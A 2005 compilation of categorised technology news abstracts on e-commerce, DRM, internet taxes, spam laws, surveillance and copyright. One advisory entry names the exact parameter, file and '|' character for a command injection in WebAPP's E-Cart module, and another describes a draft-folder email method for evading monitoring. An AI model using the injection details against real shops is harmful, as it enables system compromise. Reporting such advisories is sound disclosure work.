2005-01-10 **credit cards cell phones security e-wallets**

NewsScan; <http://www.nytimes.com/2005/01/10/technology/10cellphone.html>

CELL PHONES COULD DOUBLE AS CREDIT CARDS

In Asia, cell phone handset makers are already marketing phones with embedded memory devices (a chip or magnetic strip) that can be swiped against credit or debit card readers in much the same way consumers now use plastic, and trials are underway to bring the technology to the U.S. Details are still being worked on important issues such as security -- consumers may be required to punch in an authorization code each time they charge something -- and in two trials users experienced difficulty in aiming their cell phones at the right angle for the card reader to pick up the data. "People got very upset. Pointing your cell phone at a target is very difficult," says Jorge Fernandes, CEO of cellphone software firm Vivotech. That issue will probably be resolved by switching from infrared to low-level radio signals, but the biggest obstacle is likely to be a dearth of card readers able to interact with the phones. "The phones are exciting, but it's going to be a long time" before a widespread base of U.S. merchants and consumers are equipped to use them, says Visa International VP Sue Gordon-Lathrop. (New York Times 10 Jan 2005)

45.5 Digital-rights management (DRM); e.g., copy protection, digital watermarks

Category 45.5

Digital-rights management (DRM); e.g., copy protection, digital watermarks

2005-01-19

anti-piracy DRM digital rights management consumer electronics hardware standards software Coral Consortium Marlin

NewsScan; <http://online.wsj.com/article/0>

CONSUMER ELECTRONICS GIANTS UNITE AGAINST PIRACY

Some of the biggest names in consumer electronics, including Sony, Samsung Electronics, Philips Electronics and Matsushita Electric Industrial, have teamed up with Intertrust Technologies to form the Marlin Joint Development Association, which will coordinate their efforts to develop standard specifications for antipiracy software. The motivation behind the united effort is to impose some kind of uniformity on the consumer electronics industry, thereby avoiding the confusing array of digital rights management software options currently being used by computer hardware and software makers. "The CE industry has been pretty quiet," says Intertrust CEO Talal Shamoon. Now, they're "detonating their DRM." Intertrust was jointly purchased in 2003 by Sony, Philips and other investors. The Marlin effort comes on the heels of an earlier venture called the Coral Consortium, which was designed to ensure that different DRM programs were interoperable. (Wall Street Journal 19 Jan 2005)

45.7 Sales taxes on Internet commerce

Category 45.7

Sales taxes on Internet commerce

2005-01-07

taxes LA Los Angeles Internet lawsuit scam theft embezzlement

NewsScan; http://www.usatoday.com/tech/news/2005-01-06-travel-suit_x.htm

L.A. SUES INTERNET TRAVEL SITES FOR ROOM TAXES

The city of Los Angeles is suing Internet travel sites Travelocity, Hotwire, Priceline, Expedia and Orbitz for failing to pay millions of dollars in hotel room taxes. The way it works is this: the travel sites negotiate discount rates for bulk purchase of rooms, mark up the rates for online sales of individual rooms, and then pay the city taxes on the negotiated rates rather than on the marked-up rates. A spokesperson for the city says, "The Web sites can't have it both ways. They can't charge consumers taxes based on retail price but give back to the city only part of the money." The defendants call the allegations in the lawsuit are "entirely without merit." (AP/USA Today 7 Jan 2005)

Category 45.7

Sales taxes on Internet commerce

2005-01-28

Internet sales tax state online purchases tracking software registration merchants surveillance

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A44057-2005Jan28.html>

PLANS FOR TAXING THE INTERNET

Forty state governments and the District of Columbia have issued bids from technology companies to design the software and Web-based networks for tracking online purchases and processing sales tax payments. Technology and consulting companies hoping to work on the project include Accenture, EDS, KPMG and PriceWaterhouseCoopers, along with software companies Taxware, Tax Matrix Technologies, and Vertex. Maureen Riehl of the National Retail Federation notes: "A lot of businesses said they didn't want anyone running the registration system who could use the information as an opportunity to go after merchants for other things." (Washington Post 28 Jan 2005)

Category 45.7

Sales taxes on Internet commerce

2005-08-23

FCC Internet telephone VoIP tax proposal Universal Service Fund USF

EDUPAGE; http://news.zdnet.com/2100-1035_22-5842237.html

FCC PROPOSES USF TAX ON NET PHONE USERS

A Federal Communications Commission proposal released to public notice by the FCC's federal-state joint board on universal service recommends requiring more companies to pay taxes into the Universal Service Fund (USF). The shift would mostly affect Internet telephone providers, which don't currently pay into the fund. Internet-based services such as chat and instant messaging that don't link to the public telephone network would continue to be exempt from USF taxes, according to the proposal. The USF subsidizes telephone services in rural and high-cost areas, and companies that currently pay into the fund pass the costs on to their customers. ZDNet, 23 August 2005

Category 45.7

Sales taxes on Internet commerce

2005-12-14

Internet phone VoIP tax FCC Universal Service Fund USF

EDUPAGE; http://news.zdnet.com/2100-1035_22-5995488.html

FCC CHAIR PUSHES NEW INTERNET PHONE TAX

Chairman Kevin Martin said that imposing new taxes on more Internet phone users will probably be a priority next year for the FCC. The issue arose with regard to the Universal Service Fund (USF), which subsidizes services in rural and other high-cost areas, schools, and libraries. Long-distance, pay, wireless, and regular telephone services pay into the fund. Not determined are how such taxes will affect voice over Internet protocol (VoIP) providers and other telecommunications services. Some of the companies that provide VoIP services already contribute to the USF, but no regulations require such participation. "We need to move to collection for the Universal Service Fund that is technology-neutral," said Martin. Congress also is expected to address changes to universal service reform in 2006. ZDNet, 14 December 2005

45.8 E-commerce laws

Category 45.8 E-commerce laws

2005-01-06 **Canada Internet prescription drug sales ban proposal law legislation pharmacies**

NewsScan; http://www.latimes.com/technology/ats-ap_technology16jan06

CANADA CONSIDERS BAN OF INTERNET DRUG SALES

Canadian health officials have drafted a proposal that would ban Internet sales of prescription drugs to U.S. consumers and effectively destroy a \$700 million industry that has become increasingly popular with patients in search of cheaper medicine. Within Canada's socialized medical system, the Canadian government sets drug prices lower than those charged in the U.S., and Canadian doctors now co-sign prescriptions for U.S. patients without examining them in person. The new proposal would prohibit prescriptions for foreigners who are not present in Canada. (AP/Los Angeles Times 6 Jan 2005)

45.9 E-shopping carts

Category 45.9 E-shopping carts

2005-04-22

WebAPP e-cart module vulnerability command injection attack no update issued

DHS IAIP Daily; <http://seunia.com/advisories/15054/>

WEBAPP E-CART MODULE SHELL COMMAND INJECTION VULNERABILITY

A vulnerability has been reported in the E-Cart module for WebAPP, which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "art" parameter in "index.cgi" isn't properly sanitised before being used in an "open()" call. This can be exploited to inject arbitrary shell commands via the "|" character. The vulnerability has been reported in version 1.1. Other versions may also be affected. There is no solution at this time.

47 US computer-crime laws

Category 47

US computer-crime laws

2005-05-23

spyware malicious code House of Representatives bill

EDUPAGE; http://news.com.com/2100-1028_3-5717658.html

HOUSE TAKES TWO STEPS AGAINST SPYWARE

The House of Representatives overwhelmingly passed two separate bills this week designed to address the growing problem of spyware. HR 29, introduced by Mary Bono (R-Calif.), would impose stiff fines on anyone found guilty of distributing computer code that results in browser hijacking, modifying bookmarks, collecting personal information without permission, and disabling security mechanisms. Violators can be fined as much as \$3 million per incident. One of only four Representatives who voted against Bono's bill, Zoe Lofgren (D-Calif.) had introduced another bill, HR 744, that also prohibits installing spyware. Lofgren's bill, which passed 395 to 1, would impose fines and jail time to anyone found guilty. Both bills now go to the Senate, which failed to act on a spyware bill sent by the House last year. Senators have said they will not allow a similar situation this year.

CNET, 23 May 2005

48.2 Non-US computer-crime laws

Category 48.2 *Non-US computer-crime laws*
2005-10-27 **international anti-terror law France Internet activity cybercafe Internet connection data log**

DHS IAIP Daily;
http://news.yahoo.com/s/afp/20051027/tc_afp/internetqaedaattacks_ylt=Am7IXspeLmQoK7GhZWLisvr6VbIF_ylu=X3oDMTBjMHVqMTQ4BHNIYwN5bnN1YmNhdA--

PROPOSED ANTI-TERROR LAW IN FRANCE SEEKS TO CURTAIL TERRORIST ACTIVITY CARRIED OUT ON THE INTERNET

One provision in the proposed law extends the period for which cybercafes have to keep records of Internet connection data. One method of cyber-jihad is the "dead letter box" system, wherein someone creates an e-mail account, gives the password to several members of a group and communicates by saving messages in a draft messages folder without sending them. This type of communication often cannot be monitored because government systems for tracking e-mails work only if someone sends an e-mail. Rebecca Givner-Forbes, an intelligence analyst at the Terrorism Research Center states that those behind some Websites promoting terrorism "...often use Japanese and Chinese upload Web pages because they don't ask for an e-mail address or any information from the person uploading a file." She says the most common method used by terrorist Websites is password-protected online message boards that only members can use. According to Givner-Forbes, "Most recently they have been leveraging the net more and more to circulate terrorist tactical instructions, training manuals, explosives recipes."

Category 48.2 *Non-US computer-crime laws*
2005-12-02 **EU European anti-terror law e-mail phone call log**

DHS IAIP Daily; <http://www.siliconvalley.com/mld/siliconvalley/news/editorial/13312628.htm>

TELECOM COMPANIES REQUIRED TO SAVE LOGS OF E-MAIL, PHONE CALLS UNDER EUROPEAN UNION ANTI-TERROR PLANS

European Union (EU) justice and interior ministers agreed Friday, December 2, on plans that would require telecommunications companies to retain records of phone calls and e-mails for a minimum of six months for use in investigations of terrorism and other serious crimes. Britain's Home Secretary Charles Clarke, who chaired the meeting, said the deal among the 25 European Union nations allowed governments to decide how long telecom companies in their nations should retain the data, as long as it was between six and 24 months. "We have agreed to a system which gives flexibility to member states who want to go further," Clarke told a news conference. Clarke said terrorist groups, drug dealers and people-trafficking gangs would better be targeted under the new rules. Clarke said he was optimistic the European Parliament would adopt the bill later this month -- meaning it could come into force next year. The data-tracking plan was among 12 priority measures EU governments are pushing through in the wake of July attacks on London's transportation system.

Category 48.2 *Non-US computer-crime laws*
2005-12-14 **EU European Parliament anti-terrorism rules phone Internet logs data storage two years**

DHS IAIP Daily; <http://today.reuters.com/business/newsArticle.aspx?type=telecomm&storyID=nL14475452>

EUROPEAN UNION PARLIAMENT APPROVES RULES ON ANTI-TERRORISM DATA

The European Parliament on Wednesday, December 14, adopted new rules drawn up by the European Union (EU) to store phone and Internet data for up to two years to fight terrorism and other serious crime. The measure was approved in record time after being proposed by the European Commission in September, and is part of the 25-nation bloc's response to the terrorist attacks in Madrid in 2004 and in London this year. Britain, holder of the rotating EU presidency, hailed the adoption as a step forward in the fight against terrorism and organized crime. Europe's telecoms and Internet industries issued a joint statement, saying the new rules raised major concerns about technical feasibility and proportionality. "This directive will impose a significant burden on the European e-communications industry, impacting on its competitiveness," the statement said. The industry also said only 20 percent of e-mails would be covered since many service providers were based outside the bloc.

48.3 Non-US intellectual property laws

Category 48.3

Non-US intellectual property laws

2005-05-25

**Sweden MPAA ban illegal downloading intellectual property rights violation
copyright infringement**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8606639>

SWEDEN BANS DOWNLOADING COPYRIGHTED MATERIAL

Responding to pressure from entertainment industry groups, including the Motion Picture Association of America (MPAA), Sweden has made it a crime to download copyrighted material from the Internet. Previously, only uploading copyrighted works was illegal. The new law, which goes into effect July 1, allows consumers to make one copy of CDs for personal use and to copy newspapers. Those found guilty of violating the new law can be fined. The MPAA has said that governments in Scandinavian countries have been reluctant to take action against copyright piracy, though Swedish authorities did conduct a raid in March of this year in which several servers suspected of hosting copyrighted content for downloading were seized. Reuters, 25 May 2005

Category 48.3

Non-US intellectual property laws

2005-07-11

intellectual property software patents European law

RISKS; <http://tinyurl.com/7zosm>; <http://webshop.ffii.org/>

23

94

EUROPEAN PARLIAMENT REJECTS SOFTWARE PATENT DIRECTIVE

Pete Mellor writes, "On 6 July 2005, the European Parliament decisively rejected the directive of the European Commission, which would have brought software into the patent system.

For those like me who have followed the argument about software patents over the last many years, this comes as a relief. I was first alerted to the potential damage of software patents many years ago when I heard Richard Stallman talk. He gave another set of seminars in London around two years ago. I find his arguments against software patents totally convincing."

49.1 US government surveillance of citizens

Category 49.1

US government surveillance of citizens

2005-02-14

Real ID Act privacy homeland security privacy licenses trojan

NewsScan; http://news.com.com/From+high-tech+drivers+licenses+to+national+ID+cards/2100-1028_3-5573414.html

'SMART' DRIVER'S LICENSES A TROJAN HORSE?

A move by Congress to endorse a Republican-backed measure that would compel states to redesign their driver's licenses by 2008 to comply with standards for making them electronically readable has critics questioning government's motives, saying it gives the Department of Homeland Security carte blanche to do nearly anything "to protect the national security interests of the United States." Rep. Ron Paul (R-Texas) says, "Supporters claim it is not a national ID because it is voluntary. However, any state that opts out will automatically make nonpersons out of its citizens. They will not be able to fly or to take a train." Proponents of the Real ID Act say it reflects the recommendations of the 9/11 Commission and will help in the battle against terrorism and efforts to identify illegal immigrants. But Paul says, "In reality, this bill is a Trojan horse. It pretends to offer desperately needed border control in order to stampede Americans into sacrificing what is uniquely American: our constitutionally protected liberty." (CNet News.com 14 Feb 2005)

Category 49.1

US government surveillance of citizens

2005-04-01

US government DHS tracking foreign international students visas US-VISIT privacy concerns surveillance

EDUPAGE; <http://www.few.com/article88459-04-01-05-Web>

FEDS SET TO CHOOSE METHOD FOR TRACKING EXITING STUDENTS

Officials at the Department of Homeland Security are expected to issue a decision soon about the required procedure for foreign students who are leaving the United States. The US-VISIT program, which tracks visiting scholars and is designed to prevent terrorists from entering the country on student visas, lacks a consistent process for keeping tabs on individuals who leave the country. One proposal would require individuals to visit a kiosk at the airport, where they would be fingerprinted and photographed. Under another proposal, screening officers would take fingerprints and photos at airport gates and check them against the US-VISIT database. The third proposal would combine elements of the other two. The department is conducting a study of the three options, and a report is expected in a few weeks identifying which method will provide the greatest level of security without excessively interfering with convenience or impinging on privacy. Federal Computer Week, 1 April 2005

Category 49.1

US government surveillance of citizens

2005-05-06

unit record database Department of Education personal information disclosure security break civil liberties privacy concerns

EDUPAGE; <http://chronicle.com/prm/weekly/v51/i35/35a03701.htm>

PROPOSED DATABASE WORRIES SECURITY EXPERTS

Amid a rash of corporate and institutional data breaches recently, security experts are questioning whether a "unit record" database proposed by the Department of Education could be kept secure. Currently the department collects aggregate data on college students and graduation rates. A unit record database would track individual students through their college careers, presenting what some see as an extremely tempting target for hackers. The current system would force a hacker to "compromise several databases," according to Eugene Spafford, professor of computer sciences and electrical and computer engineering at Purdue University, whereas with a database like the one proposed, "it's possible to attack it from any point in the system." Barbara Simons, former president of the Association for Computing Machinery, was also concerned about a unit record database, suggesting that it might not be the safest way to accomplish the department's goals. Grover Whitehurst, director of the Institute of Education Sciences at the Education Department, said the agency is investigating security options for the proposed database and welcomes suggestions. He noted that the system might not use Social Security numbers as identifiers and said that if the information in the system were limited in scope, it would not be very appealing to hackers. Chronicle of Higher Education, 6 May 2005 (sub. req'd)

Category 49.1 US government surveillance of citizens
2005-11-23 **Center Disease Control Prevention** **US government agency federal regulation**
passenger tracking proposal surveillance privacy concern

EDUPAGE; <http://govhealthit.com/article91532-11-23-05-Web>

CDC PROPOSES TRACKING PASSENGERS TO PREVENT PANDEMICS

The Centers for Disease Control and Prevention (CDC) proposed federal regulations to electronically track more than 600 million U.S. airline passengers a year traveling on more than 7 million flights through 67 hub airports. The proposed regulations are posted on the CDC's Web site and will be available for a 60-day comment period in the Federal Register starting November 30. They would require airlines, travel agents, and global reservation systems to collect personal information beyond that now collected by the Transportation Security Administration or the Homeland Security Department. The same rules would apply to passengers on international cruise lines and ferries that dock at U.S. ports. The CDC said that frustrations with attempts to track the SARS outbreak prompted the proposal, which is intended to allow the CDC to respond quickly to signs of a new pandemic. Federal Computer Week, 23 November 2005

49.2 Non-US government surveillance of citizens

Category 49.2 *Non-US government surveillance of citizens*
2005-02-07 **Poland spies list online data leakage confidentiality spies informers government surveillance**

NewsScan; <http://australianit.news.com.au/articles/0>

POLAND'S SPIES EXPOSED ONLINE

A leaked list containing the names of about 240,000 people who allegedly spied for Poland's former communist regime has overtaken sex as the hottest search item on the Net in Poland. "This thing is huge. We have recorded around 100,000 Internet searches a day for the list, which is 10 times the number looking for sex," Piotr Tchorzewski, who works at Poland's biggest Internet portal Onet, told Rzeczpospolita Daily. The list, which contains in alphabetical order the names of alleged agents and collaborators of the communist-era secret service, mixed together with the names of those who were allegedly spied on, has also been put up for auction on the Internet, but its bid price late today -- 2.99 zlotys (about \$AU1.25) -- was hardly breaking records. (The Australian 7 Feb 2005)

Category 49.2 *Non-US government surveillance of citizens*
2005-02-23 **Australia pedophiles tracking e-tag surveillance**

NewsScan; <http://australianit.news.com.au/articles/0>

E-TAGS FOR AUSTRALIAN PEDOPHILES

Dangerous pedophiles could be electronically tagged and subjected to strict curfews after their release from jail under new laws before the Victorian parliament. Under the scheme, child sex offenders considered risks can be put under supervision orders administered by the adult parole board. The supervision conditions can include electronic bracelets allowing the offenders to be tracked, restrictions on where they live, curfews, and restrictions on movements to block their access to children. "We take the view that protecting the community, particularly vulnerable children, has to be our highest priority," Police Minister Tim Holding said. "We think these laws are an effective and appropriate way of protecting Victorians from serious child sex offenders who show a real likelihood of re-offending," he said. (The Australian 23 Feb 2005)

Category 49.2 *Non-US government surveillance of citizens*
2005-08-05 **surveillance mobile cellular phone operators civil liberties audio covert**

RISKS; <http://cellphones.engadget.com/entry/1234000563053276/> 24 02

UK CELLPHONE OPERATORS CAN INSTALL SURVEILLANCE SOFTWARE ON HANDSETS

We're always a little wary of that very blurry line between protection of the general public and infringements on basic civil liberties, but it would appear that according to the Financial Times by way of the Guardian, at least one UK cellphone carrier not only has the power (and mandate) to remotely install software over the air to users' handsets that would allow for the kind of monitoring we thought only perverts and paranoiacs had access to: picking up audio from the phone's mic when the device isn't on a call. While don't think the backlash on this one has really gotten underway yet, and though we do hate to rock a cliché, we can't help but be reminded of that classic Benjamin Franklin quote, ``They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.'' What's worse, a cellphone carrier and The Man are gonna take it from us without our permission on the sly?

[Abstract and comments from Dave Farber]

4A3 Jurisdiction

Category 4A3

Jurisdiction

2005-01-26

BlackBerry patent Supreme Court US Canada law legal jurisdiction

NewsScan; <http://apnews.excite.com/article/20050126/D87RP7R00.html>

WHERE IN THE WORLD IS BLACKBERRY?

The Canadian government has joined the battle of Ontario-based Research in Motion Ltd. (RIM), creators of the BlackBerry, in that firm's decision to defend itself all the way to the U.S. Supreme Court against a patent infringement case brought against it by an Arlington, Virginia, company. RIM claims that since its BlackBerry relay server is based in Canada, U.S. patent laws have no jurisdiction. The Arlington company argues that RIM is using its technology to reap profits in the U.S. and so U.S. patent laws rule. The Court is expected to hear arguments from the two sides in February. (AP 26 Jan 2005)

Category 4A3

Jurisdiction

2005-02-11

Yahoo France Nazi lawsuit court

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-02-11-yahoo-nazi-stuff_x.htm

NAZI MEMORABILIA DECISION SEEN AS VICTORY FOR FREE SPEECH

The 9th U.S. Circuit Court of Appeals announced it will rehear some arguments in a 5-year-old lawsuit against Yahoo by two French human rights groups that want to ban the sale of Nazi-related items on any Internet site viewable in France. Since French law bars the display or sale of racist material, the groups had won a French court order requiring the company to block Internet surfers in France from auctions selling Nazi memorabilia there, but Yahoo kept such memorabilia on its popular U.S.-based site, yahoo.com. The two-sentence ruling Thursday does not explain how the judges came to their decision but compels both sides to argue their cases again in front of an 11-judge panel. Yahoo attorney Mary Catherine Wirth says, "If American companies have to worry that foreign judgments entered against them might be enforceable, it could end up with companies censoring their Web sites, but Richard Jones, who represented the French organizations, called the decision "meaningless."(AP/USA Today 11 Fe 2005)

4A4 Blocking

Category 4A4

Blocking

2005-06-15

censorship China content filtering Web blog

RISKS

23

20

MICROSOFT CENSORING BLOGS IN CHINA

Peter G. Neumann contributed this acerbic little note:

Microsoft is cooperating with China's government to censor MSN's Spaces Chinese-language Web portal. Bloggers are prevented from posting words such as *democracy*, *human rights*, and *Taiwan independence*. 5 million blogs have been created since the service started on 26 May 2005. China reportedly has 87 million online users.

[Source: AP item by Curt Woodward, 14 Jun 2005, seen in the *San Francisco Chronicle*.]

[I wonder whether this issue of RISKS will be blocked because of those OFFENSIVE words? (And I thought *democracy* and *human rights* were DEFENSIVE words?) PGN]

4A5 Archives

Category 4A5 Archives

2005-03-03 **online archive New York Public Library Digital Gallery**

EDUPAGE; <http://chronicle.com/prm/daily/2005/03/2005030307n.htm>

NEW YORK PUBLIC LIBRARY UNVEILS ONLINE ARCHIVE

The New York Public Library this week unveiled an online archive of 275,000 images, available to the public for free. The project, called the NYPL Digital Gallery, is supported by a \$7 million grant from The Atlantic Philanthropies and includes Civil War photographs, illuminated manuscripts, Japanese prints, early American maps, and photographs of New York City buildings and streetscapes. Paul LeClerc, president and chief executive officer of the library, noted that while other libraries are digitizing texts, few are putting materials such as photographs and maps online. Images in the collection are either in the public domain or are owned by the library and can be downloaded and used for noncommercial purposes. The NYPL Digital Gallery project, which is unrelated to the library's arrangement with Google to digitize content, is expected to add another 225,000 images to its database in the coming months. Chronicle of Higher Education, 3 March 2005 (sub. req'd)

4A6 Libel

Category 4A6

Libel

2005-05-13

blogging blog entry libel defamation lawsuit St. Lawrence University anonymous attack

EDUPAGE; <http://www.insidehighered.com/news/2005/05/13/lawrence>

UNIVERSITY SEEKS NAMES OF BLOGGERS

Officials at St. Lawrence University are trying to obtain the names of individuals responsible for a blog that includes content the university finds inappropriate. Included in the blog, whose stated goal is to fight a "right-wing assault" on the university, are pictures of and harshly derogatory comments about students and faculty whom the blog's contributors see as conservative.

Other blog posts criticize university policies and administrators, but Macreena Doyle, a spokesperson for St.

Lawrence, said the institution is most concerned about the anonymous attacks on students. "If these were posters attacking students on campus," said Doyle, "we would take action." The university has filed "John Doe" court actions with Time Warner Cable, whose service was used to make postings to the blog, demanding information that would identify the blog's contributors. Google disclosed IP addresses from which blog postings came after being ordered to do so by the courts, but it is not clear whether Time Warner will do the same. Inside Higher Ed, 13 May 2005

4A7 Spam

Category 4A7

Spam

2005-01-03

spam CAN-SPAM review law failure useless legislation authentication

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A44124-2005Jan3.html>

CAN-SPAM LAW GETS MIXED REVIEWS

The Can-Spam Act, signed into law on Dec. 16, 2003, was touted as a major weapon in the arsenal aimed against spam-mongers, but after a year the law has been used against only a few spammers and recent surveys show that Internet users face more spam than ever. In November, a Virginia jury recommended a nine-year jail term for a North Carolina man who earned the dubious distinction of being the first person convicted of felony spamming. (The case had been brought under Virginia's spam law, which is similar to Can-Spam but allows stiffer penalties.) However, despite this minor victory, experts agree that during the past year spam e-mails represent an everincreasing portion of users' e-mail -- up to 75% to 80% now, according to anti-spam firm Postini. The trend has resulted in most major ISPs turning to technology rather than litigation to stem the flow, and each of the four major U.S. e-mail providers is involved in a nationwide effort to develop e-mail "authentication" technology that would make it more difficult for spammers to disguise their messages. "You've got to stop [spam] from getting to the customers' machines," says Dave Baker, VP of law and public policy at Earthlink. "If you're suing a spammer, you're going after them for damage that's already been done. The biggest single element remains technology solutions. None of these companies are relying solely on litigation." (Washington Post 3 Jan 2005)

Category 4A7

Spam

2005-01-20

state Georgia Slam Spam E-mail Act felony law legislation proposal

NewsScan;
http://www.ajc.com/hp/content/auto/epaper/editions/thursday/metro_14fea5c3068722330a9.html

GEORGIA LEGISLATION WOULD MAKE SPAM A FELONY

Georgia Governor Sonny Perdue has proposed a Slam Spam E-mail Act that would make it a felony to send more than 10,000 misleading e-mails during a 24-hour period, make large sums of money off unsolicited e-mail, or involve juveniles in sending it. Speaking at Earthlink's Atlanta headquarters, Perdue promised, "We're going to clean up spam in Georgia and put our citizens back in control of their online lives." EarthLink chief executive Garry Betty, who hosted Perdue's news conference, said that up to 80 percent of all e-mail is spam. (Atlanta Journal Constitution 20 Jan 2005)

Category 4A7

Spam

2005-02-01

CAN-SPAM law ineffective e-mail statistics failure spam

NewsScan;
<http://www.nytimes.com/2005/02/01/technology/01spam.html?hp&ex=1107320400&en=f7486f68b21cb2cc&ei=5094&partner=homepage>

OOPS: 'CAN SPAM ACT' SEEMS TO BE NO-CAN-DO

The Can Spam Act went into effect in January of last year, yet unsolicited commercial e-mail on the Internet is now estimated to account for at least 80% of all e-mail sent -- a figure up from 50-60% percent of all e-mail before the law went into effect. A number of critics of the law had argued that it would make the spam problem worse by effectively giving bulk advertisers permission to send junk e-mail as long as they followed certain rules. Steve Linford, the founder of the UK-based Spamhaus Project, says the law "legalized spamming itself." The law's chief sponsor, Senator Conrad Burns (R- Montana) says the problem isn't the law but the ineffective enforcement of the law: "As we progress into the next legislative session, I'll be working to make sure the FTC utilizes the tools now in place to enforce the act and effectively stem the tide of this burden." Anne Mitchell of the Institute for Spam and Internet Public Policy comments: "Most people say it's a miserable failure, but I see it as a lawyer would see it. To think that law enforcement agencies can make spam stop right away is silly. There's no such thing as an instant fix in the law." (New York Times 1 Feb 2005)

Category 4A7

Spam

2005-04-04

**Florida state spam lawsuits litigation multimillion dollars Tampa spammers
Electronic Mail Communications Act CAN-SPAM**

DHS IAIP Daily; http://news.com.com/Florida+files+multimillion-dollar+spam+suits/2100-1030_3-5653662.html

FLORIDA FILES MULTIMILLION-DOLLAR SPAM SUITS

The Florida Attorney General's office has filed its first claims under the state's antispam law, charging two men with masterminding a scheme that marketed fraudulent online businesses via e-mail. Florida Attorney General Charlie Crist charged two Tampa residents accused of running an operation that generated over 65,000 deceptive e-mails since 2003, including 48,000 messages sent after the Florida Electronic Mail Communications Act took effect on July 1, 2004. The defendants face up to \$24 million in fines. Like the federal Can-Spam Act, the Florida law prohibits the distribution of unsolicited commercial e-mail that contains false or deceptive subject information, or that is sent from invalid e-mail addresses. Under the law, violators face a penalty of up to \$500 for every illegal e-mail message they send to Florida residents. "Spam is a pervasive and growing threat to unsuspecting computer users everywhere," Crist said in a statement. "The spam itself is illegal, but it is made even worse when it seeks to rip off Florida consumers. Florida's antispam law was adopted precisely to stop operations such as this one."

Category 4A7

Spam

2005-04-13

**Florida state victory vs. spammers lawsuit injunction Attorney General Charlie Crist
antispam law**

DHS IAIP Daily;
http://www.computerworld.com/governmenttopics/government/legalissues/story/0,10801,101051,00.html?source=NLT_PM&nid=1010_51

FLORIDA WINS INJUNCTION AGAINST SPAMMERS

The state of Florida won its first victory against spam e-mail when a judge granted an injunction against two men accused of running mass e-mailing operations, the state prosecutor said Tuesday, April 12. Florida Attorney General Charlie Crist said the injunction preventing the men from sending any more deceptive e-mails was part of his department's first prosecution under an antispam law passed by the state legislature last year. The e-mails took recipients to Websites that Crist said were engaged in fraudulent or illegal activities, such as selling pharmaceuticals and cigarettes online or providing a platform for the illegal downloading of copyrighted movies. A national antispam law took effect at the start of 2004 but has done little to curb the flood of spam clogging e-mail in-boxes. Spam is estimated to account for more than 80% of all e-mail traffic, costing businesses billions a year in lost productivity and bandwidth.

4A8 Liability

Category 4A8

Liability

2005-02-24

liability software GM General Motors responsibility cost repairs patches tort lawsuit

NewsScan; <http://online.wsj.com/article/0>

THREAT OF THE 'L' WORD MAKES SOFTWARE MAKERS SHUDDER

Major technology customers are fed up with spending millions to fix shoddy software and are starting to challenge software makers to assume at least some responsibility for costly repairs. So far, it's just a low rumble, but even the thought of the dreaded "L" word -- liability -- sends shivers through the software industry. One leading proponent is GM, whose chief information-security officer says: "Can you imagine if GM produced a vehicle and said, 'We did a pretty good job of engineering this. It worked in the laboratory. Here it is, consumer, you go crash-test it.'" GM is pushing for penalty provisions in new contracts that could hold vendors liable if they fail to meet security requirements. Other customers are seeking to add liability clauses to their "service level agreements" with outsourced technology providers that would limit the number of times their systems can go down. Meanwhile, some companies are taking matters into their own hands: BJ's Wholesale Club last year filed suit against IBM for providing software that allegedly allowed thousands of BJ's customers' credit-card information to be stolen by an organized crime ring. And even the Business Roundtable, a Washington association of CEOs, last year issued a call for "shared responsibility" between technology users and suppliers. (Wall Street Journal 24 Feb 2005)

4B1 Copyrights

Category 4B1

Copyrights

2005-01-04

appeals court RIAA Digital Millennium Copyright Act Internet identities subpoenaing

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/10565129.htm>

APPEALS COURT TURNS DOWN RIAA AGAIN

The Recording Industry Association of America (RIAA) this week lost the same court battle for a second time, in a different court. Echoing a December 2003 decision by the U.S. court of appeals in Washington, the appeals court in St. Louis rejected the trade group's argument that the Digital Millennium Copyright Act compels Internet service providers to reveal the identities of their customers who are accused of trading copyrighted songs. The court said in its 2-1 decision that in order to obtain users' identities, the RIAA must file "John Doe" lawsuits against those individuals. Filing such lawsuits, which the RIAA has been doing since the Washington ruling, is more costly and time-consuming than its earlier practice of simply subpoenaing identities of suspected illegal file traders. Despite losing its argument a second time, the RIAA said it will continue to seek prosecution of copyright infringement and that its "enforcement efforts won't miss a beat." Circuit Judge Diana E. Murphy, who wrote the dissenting opinion in the St. Louis court, called the process of filing individual lawsuits "cumbersome and expensive" and said the courts' rulings impose unnecessary hurdles to the protection of copyrighted material.

Category 4B1

Copyrights

2005-01-05

DMCA Digital Millennium Copyright Act BSA Business Software Alliance ISP Internet service provider law legislation proposal change immunity piracy

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A51966-2005Jan5.html>

SOFTWARE GROUP WANTS TO CHANGE COPYRIGHT ACT

The Business Software Alliance, whose members include Microsoft, IBM, Intel, Adobe, and other high-tech giants, wants Congress to clamp down on Internet service providers who allow their users who swap copyrighted software, music or video files online through services such as Kazaa, Grokster and Morpheus. The group wants Congress to amend the 1998 Digital Millennium Copyright Act but has so far offered no specifics on how that law should be changed -- except to suggest that Internet service providers should no longer enjoy blanket immunity from liability for piracy by users. However, the BSA approach has a number of critics, such as Mike Godwin of the group Public Knowledge, who calls the approach a "terribly bad idea," and Verizon attorney Sarah B. Deutsch, who warns: "The best policy is not to have the service provider become Big Brother. BSA wants its own shortcut, at the expense of consumer privacy and the ISPs." (Washington Post 5 Jan 2005)

Category 4B1

Copyrights

2005-01-07

BSA copyright legislation white paper government laws digital piracy Microsoft Intuit Symantec patents

EDUPAGE; http://news.com.com//2100-1030_3-5516568.html

BSA CALLS FOR STRONGER COPYRIGHT LEGISLATION

The Business Software Alliance (BSA) has released a white paper calling on government to strengthen laws meant to protect copyright holders from digital piracy. Fearing a situation like the one that record companies are grappling with, the BSA--which includes such companies as Microsoft, Intuit, and Symantec--urged lawmakers to take appropriate steps to ensure the enforceability of software copyrights and patents. An attorney for the group, Emery Simon, said the goal of the paper was not to encourage specific action but simply to identify a "problem that needs attention." The paper contends that a series of court rulings regarding the Digital Millennium Copyright Act have resulted in an "impediment to effective enforcement," but the group did not specifically call on lawmakers to revise that law.

Category 4B1 Copyrights

2005-01-11 **trial questions exposing software flaws copyright antivirus Viguard prison fine**

EDUPAGE; http://news.com.com/2100-7348_3-5531586.html

TRIAL RAISES QUESTIONS ABOUT EXPOSING SOFTWARE FLAWS

